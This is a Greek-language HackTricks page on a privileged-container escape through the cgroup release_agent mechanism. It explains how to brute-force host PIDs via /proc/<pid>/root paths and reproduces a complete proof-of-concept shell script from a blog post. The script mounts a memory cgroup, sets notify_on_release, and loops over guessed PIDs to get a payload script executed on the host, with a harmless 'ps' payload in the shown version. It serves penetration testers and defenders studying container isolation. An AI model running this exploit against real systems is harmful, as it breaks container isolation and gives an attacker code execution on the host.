release_agent exploit - Relative Paths to PIDs

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Για περαιτέρω λεπτομέρειες ελέγξτε την ανάρτηση στο ιστολόγιο από το https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Αυτό είναι απλώς ένα σύνοψη:

Η τεχνική περιγράφει έναν τρόπο για εκτέλεση κώδικα του κεντρικού συστήματος από ένα container, ξεπερνώντας τις προκλήσεις που προκύπτουν από τις ρυθμίσεις του storage-driver που αποκρύπτουν τη διαδρομή του αρχείου συστήματος του container στον κεντρικό υπολογιστή, όπως τα Kata Containers ή συγκεκριμένες ρυθμίσεις devicemapper.

Βασικά βήματα:

  1. Εντοπισμός αναγνωριστικών διεργασιών (PIDs): Χρησιμοποιώντας τον συμβολικό σύνδεσμο /proc/<pid>/root στο ψευδο-σύστημα αρχείων του Linux, οποιοδήποτε αρχείο μέσα στο container μπορεί να προσπελαστεί σχετικά με το αρχείο συστήματος του κεντρικού υπολογιστή. Αυτό παρακάμπτει την ανάγκη γνώσης της διαδρομής του αρχείου συστήματος του container στον κεντρικό υπολογιστή.

  2. Επίθεση στα PIDs: Χρησιμοποιείται μια επίθεση με βία για να αναζητηθούν τα PIDs στον κεντρικό υπολογιστή. Αυτό γίνεται ελέγχοντας σειριακά την παρουσία ενός συγκεκριμένου αρχείου στη διαδρομή /proc/<pid>/root/<file>. Όταν βρεθεί το αρχείο, υποδηλώνει ότι το αντίστοιχο PID ανήκει σε μια διεργασία που εκτελείται μέσα στον επιθετικό στόχο container.

  3. Εκτέλεση: Η εκτιμώμενη διαδρομή του PID γράφεται στο αρχείο cgroups release_agent. Αυτή η ενέργεια εκτελεί την εκτέλεση του release_agent. Η επιτυχία αυτού του βήματος επιβεβαιώνεται ελέγχοντας τη δημιουργία ενός αρχείου εξόδου.

Διαδικασία εκμετάλλευσης

Η διαδικασία εκμετάλλευσης περιλαμβάνει ένα πιο λεπτομερές σύνολο ενεργειών, με στόχο την εκτέλεση ενός φορτίου στον κεντρικό υπολογιστή με την εκτίμηση του σωστού PID μιας διεργασίας που εκτελείται μέσα στο container. Ακολούθως παρουσιάζεται η διαδικασία:

  1. Αρχικοποίηση Περιβάλλοντος: Ένα σενάριο φορτίου (payload.sh) προετοιμάζεται στον κεντρικό υπολογιστή και δημιουργείται ένας μοναδικός κατάλογος για τον έλεγχο του cgroup.

  2. Προετοιμασία Φορτίου: Το σενάριο φορτίου, που περιέχει τις εντολές που θα εκτελεστούν στον κεντρικό υπολογιστή, γράφεται και γίνεται εκτελέσιμο.

  3. Δημιουργία Cgroup: Το cgroup προσαρτάται και ρυθμίζεται. Η σημαία notify_on_release ορίζεται για να διασφαλιστεί η εκτέλεση του φορτίου όταν απελευθερωθεί το cgroup.

  4. Επίθεση στα PIDs: Ένας βρόχος επανάληψης περνάει από τα πιθανά PIDs, γράφοντας κάθε εκτιμώμενο PID στο αρχείο release_agent. Αυτό θέτει το σενάριο φορτίου ως release_agent.

  5. Εκτέλεση και Έλεγχος: Για κάθε PID, γράφεται στο cgroup.procs του cgroup, εκτελώντας το release_agent εάν το PID είναι σωστό. Ο βρόχος συνεχίζει μέχρι να βρεθεί η έξοδος του σεναρίου φορτίου, υποδεικνύοντας επιτυχή εκτέλεση.

PoC από την ανάρτηση στο ιστολόγιο:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated